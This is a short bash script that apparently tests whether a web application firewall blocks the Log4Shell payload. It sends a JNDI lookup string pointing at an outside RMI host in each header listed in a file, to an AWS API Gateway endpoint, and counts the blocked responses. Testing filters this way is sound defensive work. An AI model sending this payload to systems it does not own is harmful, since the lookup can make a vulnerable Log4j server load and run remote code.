aaaa.sh

#! /usr/bin/env bash

TOTAL_BLOCKED=0
while IFS="" read -r HEADER || [ -n "$HEADER" ]; do
    RESPONSE=$(
        curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \
            -H "$HEADER: \${jndi:rmi://pudim.com}" \
            -H "Content-Type: application/json" \
            -o /dev/null -w "%{http_code}"
    )

    if [[ "$RESPONSE" == "599" ]]; then
        let TOTAL_BLOCKED++
        echo "[+] Header $HEADER is blocked!"
    else
        echo "[!] Header $HEADER passed!"
    fi

done <headers.txt

echo
echo "[+] Total blocked is about $TOTAL_BLOCKED/$(wc -l headers.txt)"